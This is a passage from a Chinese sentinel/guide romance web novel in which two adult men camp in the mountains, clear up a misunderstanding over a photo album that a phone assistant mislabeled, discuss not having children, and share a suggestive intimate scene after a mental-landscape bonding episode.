“不用抬手。”弓铮皎指挥,“你再稍微侧过来一点。” 取景框里,曝光被拉低,让人物干脆成了漆黑的一道剪影,天边的霞光便格外绚丽。 也多亏前些天阴雨连绵,初晴天云蒸霞蔚,在山水的掩映下,美得不真实,才真像是P上去的背景。 他招呼着闻璱过来看照片,即便是不太懂出片的闻璱,也真诚地赞了一声:“你很会拍。” 然而,夸赞之后,终端却没有被交到闻璱手里。 弓铮皎几步飞奔上车,从自己的包里翻出来一个摺叠三脚架支好,干脆开启了终端的录像模式。 光圈和色调都没有再调整,最大程度还原了目视所见的晚霞,就算有人入镜,也看不清脸。 “你可以该干什么干什么。”弓铮皎说,“还是录下来更好——放心,我不会发出去的。” 闻璱眨了眨眼:“不发?” “当然不发。”弓铮皎信誓旦旦。 闻璱轻笑一声:“我还以为,这是你的crush日记配图。” 诚然弓铮皎一开始确实打的这个算盘。 但那是针对原本计画的氛围感偷偷露衣角照,他要专门放在crush日记里羡煞旁人。 真正有闻璱露脸甚至会动的live图和视频,就像他每一分每一秒亲眼所见的闻璱一样生动,他才舍不得发出去分享给别人看。 不过闻璱还是不太适应摄像头的存在。 一个黑黝黝的摄像头放在那里,哪怕闻璱原本也并不介意弓铮皎想要录像甚至发布,仍觉得有些不自在。 他干脆钻进刚搭好的帐篷铺防水垫和睡袋,铺完之后,坐在帐篷里,看外面那个勤劳的大蜜蜂总来走去摆拍。 不知为何,闻璱竟然意外地有点想看crush日记最近几天有什么更新了。 虽然弓铮皎那夸张的文本真是不看觉得也还好,看了别扭一整天。 可惜本就差地信号在这边山头更是微弱得离谱,论坛根本加载不出一条帖子。 晚霞去得很快,没过多久,天色彻底暗下来,弓铮皎在外面说:“我拍完了,你出来吧。” 闻璱便掀开帐篷出去,果然见弓铮皎正把三脚架收起来。 没等闻璱主动要求,他就把终端递过来:“你要看看吗?” 闻璱确实有些好奇,便接过终端,点开相册,查看弓铮皎刚刚录制的视频。 一开始,就是闻璱的黑影从镜头前走过,动作有几分肉眼可见的僵硬,看得闻璱自己都有几分想笑。 随着霞光抹过天际,弓铮皎的影子耍够了帅,竟然也离开了取景框。 直到太阳完全下山之后,帐篷里支着的露营灯反而成了画面里最亮的一点光源,帐篷从闻璱的藏身地,变成了闻璱的“皮影”。 而弓铮皎在此时,悄悄把尾巴伸进取景框里,摆成爱心形,包住了帐篷里透出的那个闻璱剪影。 “……” 闻璱又想笑,又觉得土,不知不觉已弯了眉眼。 然而他顺手退出视频,笑意便僵在唇边,弧线变成一条微抿着的直线。 他没有窥探他人隐私的意思,只是一时入神,忘记了这不是自己的终端,顺手操作,便不小心返回弓铮皎的相册。 也不小心扫见了不太美妙的字眼。 角落里,有一个被上锁的相册。 相册名称:床照。 第84章 还差一枚戒指。 平心而论,闻璱并不认为弓铮皎会是这种下贱的人,他不会、也不敢做出这种事。 况且,他们之间也还没有发生切实的星行为,弓铮皎没有素材,也没有机会。 但没有人看到这两个字时,还能做到心如止水,闻璱也不例外。 道理上来说,擅自查看别人的相册是非常没有礼貌的行为,闻璱认为,即便是很亲密的关系,仍然需要为对方让出个人空间。 可是,从其它任何角度,闻璱都很难不好奇这个相册里面究竟是什么。 几秒钟,闻璱思想斗争了三轮又三轮,还是被好奇心所打败。 他决定做个不那么有素质的人。 闻璱抬眼扫过弓铮皎,只见弓铮皎埋头在越野车后排,不知道在倒腾些什么。 于是,闻璱果断点击那个相册——一时冲动,忘了这是个面容锁的相册,就这样把闻璱拦住。 可恶。 然而这一缓冲,闻璱心里的波澜也稍微平静下来半分。 于情于理,这都不可能是他第一反应想像中的那样才对,或许相册里只是字面意思的床都照片,或许只是弓铮皎躺在自己家床上的自拍…… 如果真是这样,为什么要上锁呢? 他看着那个相册上一个大大的锁的标志,微微抿了抿嘴。 那边弓铮皎不知忙活了些什么,背着手走过来,本想营造些神秘感,没想到人都到了闻璱近前,闻璱还是没有抬头。 弓铮皎正要开口,就听闻璱唤了一声:“弓铮皎。” 声音很轻,语气却很认真,甚至称得上严肃。 弓铮皎有些茫然:“怎么了?” 闻璱把终端几乎怼到了他脸上:“让我看看这个相册。” 弓铮皎垂眸一瞧,登时倒吸一口凉气。 这反应几乎不言而喻,让闻璱更是眉头微沉。 但垂眸这一眼,也让面容锁立刻被解开,终端轻轻震动了一下,发出提醒。 闻璱把终端拿回来的动作很缓慢,似乎很好奇弓铮皎会不会去拦、去抢。 好在弓铮皎什么也没做,只是眼神有点心虚地飘远了。 怀揣着微妙的心情,闻璱的目光落在终端显示屏上。 然后——陷入了久久的沉默。 只见这相册里几百张照片,鬼打墙一样地,全都是自己——在来水盘镇的列车上睡觉时,被弓铮皎偷拍下来的睡颜照。 很清白,很纯洁,很……显得弓铮皎很花痴。 他还有点不敢置信、不理解、不……他又上下花了划,发现真的连一张其它照片都没有。 闻璱:“……” 好半天,闻璱才又些无奈地问:“为什么要起这种有误导性的名字?” 虽然照片里确实是有意识不清醒的人,也有淩乱的床,但这能和“床照”相提并论吗?弓铮皎如果连这也不懂,就该怀疑他是否有智力缺陷了。 谁知道弓铮皎一脸正直地反问:“什么名字?” 闻璱把终端还给弓铮皎,弓铮皎一看,又是倒吸一口凉气。 “这不是我改的,我都没注意。”弓铮皎咬牙切齿,“估计是S*ri做的,我前几天让它帮我整理相册来着——啊!这个死AI!” 心里的石头变成了没扎住的气球,“咻”地一声飞了出去。 如果换了别人,此时此刻,闻璱必然有种“这么简陋的当自己居然会上”的忿懑感,但看着弓铮皎气到扭曲的模样,闻璱就只觉得好笑了。 弓铮皎则根本顾不上闻璱的一丝微窘,他飞快地把相册改了个名,气得连声念叨:“啊,我真服了,这个S*ri是不是有毛病啊?自动生成这种名字,它自己觉得合适吗?” 闻璱随口问:“这些照片为什么要单独上锁?” 这些照片又不是不能见人,如果放在普通的相册里,闻璱一眼扫过,根本不会起疑。 倒是专门上锁,平白无故地,惹人注目。 这问题却让弓铮皎更是费解,他抬眼打量着闻璱的神色,确信闻璱没生气,才有些理所当然地答道:“这可是我的珍贵的赛博宝贝啊。” 一颗珍珠尚且要放到珍贵的首饰盒里,弓铮皎看待这些照片,可是比珍珠要珍视得多。 他这么说,闻璱也只能不予置评。 虚惊之后,弓铮皎才想起来,把自己刚才捣鼓的“惊喜”双手奉上。 居然是一盒雪葩,怪不得弓铮皎要专门把移动冰箱带上。 闻璱便挖了一勺抿口中,一阵极清爽的微甜在舌尖与冰感一同晕开。 是荔枝口味,但甜味很淡,隐隐还有一丝芬芳的花香。 “怎么样?”弓铮皎眼神亮晶晶,“我上次进城,顺便找厂里让做的,” 他没说这是最像曾经他在代偿中品到的味道,清甜,冷感,而现在,随着他的代偿程度越来越轻微,也随着他终于越来越多地感知真实的闻璱向导素,他终于能够发现原来其中差是什么。 一丝甜滋滋的、隐隐有米酒微醺的香气,像醪糟,或者说,是夜香木兰的芬芳。 闻璱不懂他的心事,便诚实地点评:“有点淡,但很清新。” 对于闻璱这个不嗜甜的人来说都淡,可以说是彻底告别普通人市场了;但这也意味着对于哨兵来说,这会是很受欢迎的合适甜度。 弓铮皎完全没有领会其中的商业价值,也完全不介意闻璱的评价。 他只是想让闻璱也尝尝自己曾经魂牵梦萦的香气,虽然香气的来源原本就是闻璱。 收拾了下摺叠椅,弓铮皎在闻璱旁边落座,开始独享那一大份雪葩。 倒是显得看天的闻璱有些无聊了——虽然舒颖发来的报告还有很多没看完,只是闻璱原本就打定主意,今天不把时间花费在公事上的。 闻璱就把小黑召了过来,以撸小黑来打发时间。 余光看着弓铮皎狼吞虎咽吃完了冰,闻璱才说:“其实,有件事我想和你谈谈。” 他的语气实在认真比刚才更甚,弓铮皎只觉得一波才平一波就起,顿时又把心提了起来。 闻璱看着他:“你喜欢小孩,对吗?” 弓铮皎:? 这是……在打探未来的家庭规划? 都问到这个地步了,怎么想,都不能还是普通朋友之间的问一问吧? 弓铮皎的心脏立刻狂跳起来,他生怕被闻璱发现自己不淡定,故作深沉地坐起身,双手交叠支在膝头,抵在唇边。 他的大脑也光速乱转,试图从种种细节里查找出解题线索。 他们之前有讨论过关于小孩的话题吗?似乎只有在闻璱房间看相册的时候,闻璱也没有对小孩有什么特别的表示。 平心而论,弓铮皎对小孩没有任何兴趣,他只在宴会上曾接触过几个宫家旁支的小孩,见了他往往被吓得四处逃窜,弓铮皎也乐得清闲。 但闻璱在此时此刻、当下,如此突然地提起这件事,难道是因为——担心家庭畸形的他,无法成为一个好爸爸? 虽然家庭畸形是事实没错,弓铮皎也对成为父亲毫无兴趣,但为了和闻璱在一起,他确实是可以不择手段的。 沉吟片刻,弓铮皎谨慎道:“你知道我的学习能力很强,虽然说‘爱’不是那么容易学习的一件事……但是只要一想到将来会有一个继承了你基因的小孩,他会长得很像你,我就觉得我开始分泌催产素了。” 虽然这念头一开始萌生纯属赶鸭子上架,但弓铮皎的脑袋里头回认真思考这个问题,觉得似乎也不是完全不可行。 一个和闻璱有无法抹去的血缘连接的小孩会出现在他的生活里,不知为何,他竟然真的感到一丝难以言明的……期待吗? 好像也说不上很期待。 弓铮皎确认自己还是比较喜欢二人世界,譬如现在,就算生活的每天都多出来一个夺命连环问的环节,也好过突然出现一只满地跑的其它生物——哦,小黑除外。 但总结陈词时,弓铮皎仍然说:“其实我偶尔也会读一些育儿经。” 如果闻璱想要小孩,他不可能反对。 闻璱:“……” 乱七八糟的什么玩意。 他很确信弓铮皎肯定又胡思乱想然后开始发疯了,那故作深沉的背影完全是欲盖弥彰。 闻璱也坐起身,单手支在颊边偏头看弓铮皎,一字一顿地说:“我不想要小孩。” “我不喜欢小孩,弓铮皎。”闻璱又说了一遍,“所以,如果你很喜欢小孩的话,我得跟你说抱歉了——和我在一起的话,我希望将来几十年,我们的生活中都只有彼此。” “这是一件很严肃的事情,我不需要你现在回答我,你也应该经过深思熟虑之后,再给我回答。” “而且,”闻璱似有若无地轻叹了一声,“不要迁就我,这算是我的请求——我请求你,在做这个决定的时候,一定要出于你的本心,而不是为了我而委屈自己,欺骗你也欺骗我。” 他的嘴唇开开合合,弓铮皎却已经听不清楚后面的话了。 这是告白吗?这是告白吧!这是告白哎—— 别说这么认真、诚恳的话语,哪怕闻璱只是说一句“试试”作为对几个月前弓铮皎告白的回应,弓铮皎都激动得说不出话。 什么小孩不小孩的,弓铮皎根本不在乎,哪怕闻璱要收养一个足球队的小孩都行,或者相反……倒也没什么可相反的,他们两个都是男人,本来也无法自然受孕。 他转过头,闻璱支着下巴,就那样蓄着一汪温温的笑意看着自己。 来回反覆,弓铮皎的脑袋里只有五个字:和我在一起。 弓铮皎甚至膝弯发软,半月板叫嚣着想要立刻贴在地上,以便支撑他说出那几个字。 然而他还没来得及动作,一只大脑袋凭空出现在两人中间,把弓铮皎拱得人仰椅翻,滚出去好远! 异变发生得太突然,闻璱没反应过来不说,就连弓铮皎也被拱了个措手不及。 一个跟头栽出去几步,弓铮皎后知后觉地回过神来,才发现那居然是冲破精神图景的阿咬。 精神体殴打主人,简直是大水冲了龙王庙,弓铮皎自己都怔在原地,不明白这是怎么回事。 但阿咬并不打算就此停战,又冲着弓铮皎扑了过去,一口咬住弓铮皎左手。 闻璱连忙起身:“阿咬!快松口。” 刚才一直被闻璱夹在怀里颈子都打结了的小黑重获自由,也扑腾过来,优雅地落在阿咬背上,换了个舒坦的姿势盘着。 一时间场面一片混乱。 弓铮皎试图把手从阿咬嘴里拔出来,闻璱也在旁边帮忙安抚阿咬,可不知阿咬是怎么了,死活都不肯松口。 痛倒不痛,但这种精神体失控的状况通常是轻度神游哨兵身上才会发生的。 偏偏这失控又不完全失控,至少还保留一定和外界交流的能力,叛逆得很特别。 阿咬完全不响应弓铮皎的任何指挥,闻璱挠它的下巴,抚摸鬓毛时,它又会低哼着回应。 ……然后把弓铮皎的手臂连同整个人甩来甩去。 闻璱没办法,只能释放出向导素,还得控制好浓度,要足够影响弓铮皎和阿咬的状态,又不能超过阈值导致进入热潮期。 这剑拔弩张的状态,闻璱生怕热潮期会激发弓铮皎和阿咬自相残杀。 然而,氤氲的向导素就像线头,就这样解开了弓铮皎被兴奋冲昏成一团乱结的脑袋。 两双眼眸对视,阿咬的眼睛像两颗巨大的琥珀,弓铮皎从倒影里,看到自己。 阿咬本就是他意识的投射,而这一刻,弓铮皎明白过来,这只是一个提醒。 他不能再那么冲动了……现在确实不是时候。 他还差一枚戒指。 第85章 这就有点那个了。 上一秒闻璱还在思考接下来该用什么样的手段,没想到向导素释放出来的下一秒,阿咬就松了口,弓铮皎力没收住,往后退了半步。 阿咬低吼了一声,示威一般,然后转身跃进山里,带着背上的小黑一起没了影。 闻璱:? 他还有些迷惑,第一时间先确认弓铮皎的状态:“弓铮皎?你看着我,能看到现在是几根手指吗?” 几根修长的手指在弓铮皎眼前晃了又晃,把略显迷茫的眼瞳晃得重新对焦。 弓铮皎犹有几分恍惚,握住闻璱的手,凑到唇边吻了一下。 紧接着微微一痛——弓铮皎居然像被阿咬传染了一样,在闻璱指根轻咬一下,幸好很快就松口了。 闻璱:“……” 他现在觉得弓铮皎的精神状态是真的出了大问题,连忙撑开弓铮皎的眼皮检查状态。 蓝紫色的眼瞳灵动地随着闻璱的动作而转动,像一颗被操纵的琉璃珠。 看起来很正常。 “……没事吗?”闻璱问。 “没关系。”弓铮皎伸手抱住他,“我没事,阿咬大概只是太无聊了,所以我放它出去玩。” 常居城市的猛兽精神体都会有类似的困扰,弓铮皎曾经疯狂做任务也有这方面的考虑,对其他哨兵来说危险丛生的污染区,多数时候对阿咬来说,是唯一能够肆意撒欢的跑场。 “真的没事?” “真的。”弓铮皎把脑袋埋进闻璱颈窝。 他们静静地维持了几秒拥抱,然后不约而同地分开。 弓铮皎把刚才被阿咬冲翻的摺叠椅捡回来放好,再次在闻璱身侧坐下。 这一次他冷静地思考闻璱刚才的话,承认闻璱说的有一定道理——关于孩子,确实是一个很严肃、很长远、需要深思熟虑的问题。 只是弓铮皎确实发自内心地也对小孩没兴趣。 他细细回想,会造成这种误会,大概是看相册的时候自己的反应太积极活跃。 但闻璱不知道,他会有这种反应,说到底只是因为那是闻璱——就像闻璱用过的时尚小垃圾、闻璱眼眸颜色的宝石、接近闻璱向导素的香氛……任何有闻璱痕迹的东西,弓铮皎都会怀着一种“哇哦是小鹅周边”的心态大吃特吃。 如果是闻璱的孩子,那大概是一款格外需要精力来“养护”的可动周边人偶。 和闻璱的相似越多,联系越紧,弓铮皎就愿意投以更多的偏爱,但这份感情的出发点永远是爱屋及乌。 所以他是真的不需要、也不适合成为一个孩子的父亲。 但这件事该怎样和闻璱解释,才能证明自己确实经过深思熟虑,而不是一时冲动呢? 弓铮皎沉吟片刻,缓缓开口:“要不,你进我精神图景看一看吧。” 他说着,从口袋里掏出一个新的电击环,就打算戴上。 保险起见,安全措施还是要有的,哪怕这安全措施对他的威胁其实不是很大。 闻璱没想到他突然提起这事,更没想到他愿意主动提起这事,微一挑眉:“怎么了?” “你说不要我的迁就,我暂时不知道有什么其他办法可以向你证明,我真的没有一点迁就。只有精神图景骗不了人。”顿了顿,他又说:“而且我真的等不了了,很急,非常急,我必须让你立刻相信我!” 闻璱:“……” 但他积极起来,闻璱反而觉得其中必有小九九,谨慎地问:“这次不怕我出问题了?” “怕。”弓铮皎摇了摇头,“但现在小黑的状况稳定很多,阿咬和它在一起,就算发生什么,我也能用精神体立刻把你拉出来,这多少能让我安心些,还有这个。” 说着,他指了指口中的止咬器。 “我觉得你好像已经把我调教好了,是不是?” 闻璱一怔。 一直以来,止咬器和上面那颗酸弹的存在,与其说是像电击环的一样为了在意外突发时,让失控的弓铮皎无力发疯,倒不如说,是为了让弓铮皎主动匍匐。 以弓铮皎的能力,如果真的想要杀人,顶着这颗爆开的强酸炸弹也能做到。 没有牙,他还有爪子,有身体,有丰富老练的战斗经验。 它存在的意义是让弓铮皎投鼠忌器,不想毁容,就永远要在情绪上来之前,自己压抑住。 闻璱认为这手段说不上十分高明,但对弓铮皎意外地有效。 但是,从污染区出来之后的一段时间,没有止咬器的存在,弓铮皎也过得很好,很乖,很努力。 那时是弓铮皎发现了比毁容更有力的限制——闻璱。 所以后来他选择再次顺从地戴上止咬器,闻璱虽然不满,终究没有多说什么。 有些事总要自己想通。 而现在,弓铮皎好像已经具备了自己控制自己的能力。 只不过…… 又把“调教”这一顶好大的帽子,扣在了闻璱头上,偏偏经过前些天那些关于“支配与享受”的讨论,闻璱还真有些无法反驳。 闻璱便很轻很轻地笑了一声:“也对。” 既然如此,他干脆调整靠背躺下,仰面向天。 山里的星空很美,不是城市里的夜空能够相比的,不过,闻璱倒也见过更漂亮的,就在刚才。 他闭上眼,双手交叠扣在腰前,吩咐道:“你自己过来。” 弓铮皎:? 之前的几次进入精神图景安抚,多是闻璱半突然袭击半璱诱地“趁人之危”,这回把主动权就这样下放,弓铮皎竟然感觉有点茫然。 但很快,是滔天的窃喜。 他起身,绕着闻璱走了两圈,观察闻璱安然的模样,仍然有几分不可置信。 闻璱没说他不能这样那样,也就是说,他可以想怎样就怎样? 但摺叠椅确实很小,无论如何,都不可能躺得下两个人。 弓铮皎有很大胆的想法。 最终,弓铮皎欺身而上——他小心翼翼地坐了上去,坐在闻璱的腰间。 但他大腿绷得梆硬像块石头,实际上并没有把任何力放下,看似是坐,实则是两膝虚跪在闻璱两侧。 原本做到这个地步或许就已经足够,可这样看着闻璱躺在身下的样子,叫弓铮皎色心大发,猖狂的念头又叫嚣起来。 他伸手按住了闻璱的肩膀。 就这样,彷佛把闻璱禁锢在身下,是真爱的猎物,也是巢xue里的宝贝。 早在上次被精神绝育那时,弓铮皎就想这样做了。 被他不容分说地按住,闻璱肩膀微微一动,虽然没有挣脱的意思,仍然察觉到弓铮皎何其用力。 “瑜伽大师,准备好了?”闻璱笑了一下,“那我get in了?” “嗯——” 这声回应没能一稳到底,半路就变了调子。 弓铮皎喉头一颤,几乎无法克制生理上的某些反应。 他也不明白为什么,只知道这一次就是格外不同,彷佛关于感官某些调节器被拨到了底,一时间又把五感接得乱七八糟。 而闻璱这边,在弓铮皎的精神图景里,也确实有些发现。 庄园还是那个庄园,但没有任何花哨的、奇葩的、邪典式布置,月色静谧下,庄园一派安宁。 夜雾微浓,意味着哨兵积攒的信息量已经需要梳理。 闻璱一边为弓铮皎进行梳理,一边走向他从未切实通过的那道屏障。 在被闻璱说那是一把“锁”之后,这道屏障就真的在精神图景里也被具象化为了一把厚重的欧式挂锁,但没有密码,也没有钥匙孔。 闻璱抬手摸了摸那把锁,思索着该如何解开。 然而,他还在上下左右地拿着观察时,一不留神,挂锁就脱离把手,完整而独立地躺在闻璱掌心。 闻璱:? 这算是字面意思上的,敞开心扉? 不论如何,闻璱顺势推开大门。 这栋建筑在外看是偌大仿若中世纪的豪华城堡,繁复厚重的大门里,却只有一个狭窄的小房间,家徒四壁。 闻璱观望着迈出一步,就在踏进房间的一瞬,失重感突如其来! 他本能地想要伸手找点什么抓住,或许是墙,或许是身后的门把手,但伸出手时,发现又变成了粉红色的小鳍。 他又变成那条粉紫色的孔雀鱼了。 房间里看不到水,闻璱不明白自己现在的状态到底算是“游”还是“飞”,又或许是已经身在水中时就无法分辨水与空气的差异。 总之,闻璱接受良好,有些生涩地学习着摆动尾巴空游起来。 水底有金色的泡泡浮上来,闻璱先是下意识躲避,发现那气泡并不会消失,反而试探性地靠近自己,便干脆主动碰上去。 “啵”地一声,他被气泡包了进去,像一颗水里漂的琥珀。 “好喜欢小鹅……” 气泡里传来弓铮皎的声音。 然后,气泡越来越小,直到把闻璱又挤了出去,变成跟 在闻璱尾巴后面的一颗小珍珠。 闻璱又去触碰其它气泡。 “想和小鹅永远在一起。” “想让小鹅和我永远绑定。” “想成为小鹅人生的‘唯一’。” “想……” “想一口吞掉小鹅。” 闻璱:“……” 这就有点那个了。 闻璱像在玩贪吃蛇一样,“吃”掉了所有气泡,一时间身后的“小拖尾”排成一条好长的队伍。 最后一颗气泡说:“想让小鹅永远只看着我,只听到我,只关心我,只爱我。” 在缩成珍珠大小之前,又补充了一句:“算了,阿姨除外。” 闻璱忍俊不禁地也吐了吐泡泡:“还挺讲道理的。” 房间里不再有气泡,一览无余,闻璱却在底部的角落里发现,似乎有一道异常的“水印”。 如果物理在此间同样遵守规则的话,像是有什么东西被堆在角落里,扭曲了光的反射。 闻璱带着一条长长的拖尾向那里游去。 人形时,这房间看起来狭窄、逼仄,令人感觉甚至迈不开步子。 但变成一条小鱼,房间的尺度骤然变成了几百千倍,闻璱也没什么作为鱼游泳的经验,只觉得这距离好漫长、好遥远。 甚至连水流都变得湍急起来,似乎在阻挡闻璱靠近。 果然有问题。 甚至——这可能就是弓铮皎病情的关键。 闻璱想咬牙,却无牙可咬,只能摆了摆鳍,更用力地向着那处游去。 终于,近在咫尺之际,闻璱伸出手——只恨自己这两片小鳍太短,未必能比头先碰到角落。 他身后的珍珠却蓦然动起来,先是化为一条条锁链,又变成一层一层重叠的气泡,硬生生把闻璱又推了回去。 水流不平静,反作用力甚至把闻璱高高地抛出了水面。 也在那一瞬间,闻璱以水上的视角看到那个角落—— 那里像是一团被浸湿、揉皱的纸巾,半透明。 弓铮皎的图景内核为什么有一坨垃圾? 这绝不简单。 然而,水流越来越暴躁,把闻璱拍来拍去。 一次又一次,闻璱被拍上岸,又无法控制地落入水中,重复着变成小鱼的动作。 在水中时,气泡又不断地推拒着闻璱,想要将他推出图景内核。 像是在坐过山车,每每入水时都会突然脱轨,闻璱甚至还呛了好几口水。 他努力在失衡中望向那团垃圾,期望能看得更清楚——或许那上面写了字、画了画? 直到被拍出门的前一刻,闻璱仍然死死盯着那里。 随着水波的律动,它似乎…… 似乎在呼吸。 只不过,很微弱很微弱,像是命不久矣。 大门在闻璱面前陡然合上,“砰”地一声,闻璱下意识地闭了闭眼。 再睁开时,闻璱已经脱出了精神图景。 他惦记着弓铮皎图景内核的那处异常,精神还紧绷着,然而才要张口的第一秒,一声闷哼就溢出喉头。 不知何时,躺椅被放平了。 瑜伽大师反客为主,骑在闻璱身上,不住地舔吻着闻璱的下巴。 最关键的是,还有一只长得离谱的毛尾巴,在闻璱腰上盘了一圈,解开裤腰上的抽绳钻了进去。 然后——用那既柔软也有些硬度和毛刺的尾巴尖,隔着布料有一下没一下地磨蹭着。 第86章 天崩地陷、悲痛欲绝、溃不成军、歇斯底里。 为什么在精神图景里感觉水深火热? 闻璱现在知道原因了。 他条件反射地想要推开弓铮皎,却意识到有什么不对。 当他用力时,才觉得掌心竟然不是空空如也,而是原本就按在弓铮皎的心口。 而为了配合他,弓铮皎甚至一改以往的死装,把肌肉放松下来,任由他的手指陷进去。 ……但也可能是被动的。 掌心的衣服都被揉出了几层褶,温度更是高得隔着布料都烫手,看起来之前也不像是一片清白。 他连忙松手,可才放开,就被弓铮皎眼疾手快地捞住,握在掌心又是一番舔吻,甚至用虎牙温柔地碾磨闻璱指尖。 舌头是怎么动的,尾巴只会变本加厉。 闻璱呼吸一乱,沉声道:“弓铮皎!” 弓铮皎被他吼得确实是精神一振——比他的神智更振奋的地方立刻蹭了上来,抵在尾巴边上,也抵着闻璱。 弓铮皎不只是脸色酡红,从衣领往上的脖颈、耳朵,甚至连手臂都泛着暧昧的颜色。 他仍有几分迷蒙,微微眯起的眼定定地看着闻璱,好几秒过去,才勉强找回了半分清醒。 “你干什么?松手!”闻璱咬牙切齿。 然而这份愠怒放在从前或许有效,放在此时此刻,闻璱同样发丝微乱地躺在弓铮皎两腿之间,还被弓铮皎用尾巴和手控制住了行动,连愠怒都像是助兴。 弓铮皎呲了呲牙,似乎很有几分不服气,但还是听话地松开了手。 但也只有手。 他仍然趴在闻璱身上,声音微哑,颇有几分被“恶人先告状”的委屈:“明明是你先动手的。” “我什么时候……”闻璱下意识反驳,话没说完,却突然想起了什么。 ——他确实不太擅长操纵自己那两只小鳍。 但是话虽如此、话虽如此……! “我本来只是想偷偷亲你一下,很纯洁的那种亲。”弓铮皎泛红的脸上尽是无辜,“结果你直接就上手了,我又不舍得推开你——肯定都捏红了,我现在脱下来,你说不定还能看见你的手指印!” 他说着就作势要脱,闻璱忙不叠制止:“不许脱!” 幸好弓铮皎原本也没有真的脱衣服的意思。 他只是做个样子,避重就轻,转移闻璱的注意力,从而瞒天过海。 毕竟先动手的虽然是闻璱,但那条大尾巴可和闻璱没有丝毫相干,完全是弓铮皎趁火打劫的小动作。 趁着两个人都头晕脑热的时候,弓铮皎悄悄让拟态尾巴消失了。 闻璱果然没有太注意。 因为现在还是抵得很紧,闻璱连呼吸都放得很轻,生怕呼吸的起伏幅度都会引发某些不太妙的摩擦,让事态升级。 然而有人有意,有人无情。 “我还以为你……你就是这个意思。”弓铮皎有些可惜地说。 不仅没有配合地让开空间,弓铮皎把装傻进行到底,忍耐着暗爽一动不动。 “……”闻璱当然没有这个意思。 野战,对一个洁癖强迫症来说,死都不可能。 但他动手在先,现在的生理反应也被弓铮皎抵了个正着,想要反驳都显得如此无力。 闻璱心里有点烦躁,这座山彷佛和他的八字不合,自从上了这座山,他总是莫名其妙地“乌龙”。 先是为了那个相册,又被弓铮皎说“调教”——虽然这倒也没错。 现在更是无法无天了。 闻璱抿了抿唇,抬眼看着弓铮皎,毫不意外地从弓铮皎的眉梢眼角捕捉到隐忍,和那一缕若有若无的得意。 显然,偶尔占领上风让弓铮皎获得了精神和生理双重意义上的快感。 ……更叫人不爽了。 偏偏愤怒有时也会催生玉望,如烈火烹油,闻璱反而更精神了。 他意识到自己身陷两难,维持现状很难冷静下来,而如果推开弓铮皎,又显得自己真的对这一次交锋低头,反而遂了弓铮皎的意。 都不合适。 闻璱缓缓抬手,再次覆上刚才被他揉得余温未去的地方。 弓铮皎哈了哈气,毫不掩饰这个行为是怎样让自己爽到。 但下一秒,弓铮皎就哈不下去了——他猛地仰起下巴,不知道是为了把自己送到闻璱掌心贴得更紧,还是想要逃离。 就像弓铮皎刚才如何用虎牙对待闻璱的指尖,他就如何用手指如何对待弓铮皎的心口。 而闻璱总是善于在以牙还牙时,再恶劣地顺便“附魔”。 一瞬间,感官被放大千百倍,只是轻轻一搓,就让弓铮皎胳膊发软地险些摔倒在闻璱身上。 “你又——” 又乱调感官。 调感官不说,还下手毫不留情面,弓铮皎本就距离临界值不算远,险些被当场缴械。 但毕竟是“险些”。 一波稍去,幕天席地的刺激感反而让弓铮皎更兴奋了,就连闻璱微蹙的眉心和抿得发白的嘴唇,也像是在调情一样惹人心动。 这算是闻璱的angry sex吗? 他张口才想要讲些什么,开口的瞬间,闻璱就又用力地揉捏起来。 来回几下堪称“张弛有度”,弓铮皎没怎么抵抗,就把防备抛到脑后,尽情享受起来。 他能感觉到闻璱也并不冷静,临去时,便张口想要说些什么烧话。 然而才张开嘴,另一只手的手指趁他喘息之机探进唇缝,抚摸过他虎牙的牙根,修长的手指又沿着链条一路摸到了舌根,用力捏住。 “呜——” 这下别说讲烧话,弓铮皎连哼声都快发不出来了。 sex不sex不知道,但闻璱看来是真的很angry,硬生生把他的魂都捏在指间,堵回了这具躯壳里。 弓铮皎终于无力再发挥任何花活,胳膊一软,趴在闻璱肩头,喉咙溢出急促的喘息。 他趴下时,分明感到闻璱还并未解脱,只打算缓过来这两口气也要好好“回报”一下闻璱才对。 结果——闻璱毫不留情地把他推开,转身就钻进了帐篷,连拉拉链的动作都尽显怒气。 弓铮皎:“……?” 他一个人在摺叠椅上静静地呆了片刻,等到过分铭感的身体渐渐恢复如常,也等到这段微妙的贤者时间过去,才爬起身。 闻璱没开灯,帐篷里一片漆黑,即便弓铮皎视力过人,也终究没有透视功能。 他在闻璱刚刚拉拉链的位置蹲下,很小声地试探了一句:“闻璱?” 没有任何回覆,只有很轻的布料摩擦声。 他伸手去拉帐篷的拉链,却被不知何时突然回来的小黑一口咬在手上,痛得差点跳下山去。 一回头,小黑还盘在阿咬背上,乍一看好像阿咬多了一个黑色的“驼峰”。 ——这个叛徒精神体,比之主人有过之而无不及,连和主人之间的连接都能交给小黑接管。 但这也不全算是坏事,至少小黑还能接管阿咬的连接,说明闻璱的精神状态很好,没有受到自己精神图景的影响。 而闻璱,他默许了小黑的行为,可见闻璱……还不算太生气。 真生气的话,还不得让小黑一翅膀给自己撸山底下去。 弓铮皎便试探性地又唤了一声:“小鹅?” 话音刚落,帐篷里便传来一声隐约的、朦胧的、极力抑制而极低声的喟叹,彷佛一口气提了许久,终于堪堪泄去。 “!!!!!” 弓铮皎顿时怒不可遏,不顾小黑的阻拦,顶着手上被咬出来一排牙印的疼痛,一把拉开帐篷拉链—— 一片漆黑里,他眼眸一眨,照膜拟态融合,清晰地看到了闻璱的身影。 闻璱背对着他,一腿屈立,另一腿盘坐,靠着帐篷里的摺叠小桌板。 他冲进来时,闻璱的耳尖还犹泛一抹艳色——好在有小黑的阻拦,闻璱也算是对弓铮皎的反应有了半秒钟的缓冲。 至少,在弓铮皎一步冲到闻璱面前时,闻璱已经完事,手里紧紧攥着几张皱巴巴的纸巾。 弓铮皎不可置信。 他花了几秒钟欣赏闻璱脸颊绯红,还要维持蹙眉抿唇似乎正经中带着一丝薄怒的风景,同时,也完全明白过来刚才发生了什么。 明白之后就是心碎,彻头彻尾的心碎。 弓铮皎天崩地陷、悲痛欲绝、溃不成军、歇斯底里。 “你……”他大脑停摆,握了握沙包大的拳头,“你怎么能这样?” 闻璱还没回话,就听他连珠炮一样地开火了:“今天是我生日,快三十年了我第一次觉得有一个这么完美的生日,结果你——闻璱,你怎么能这样对我?你至于吗?你至于吗?至于吗?啊?” “你别闹了。”闻璱有些咬牙道。 “我?”弓铮皎指着自己,头一次觉得闻璱是全世界最不讲道理的人。 他的手指从自己的脸一路下移,指向自己胸口,理直气壮:“你先动的手好不好!” 闻璱:“……” 这也是闻璱最无力反驳之处。 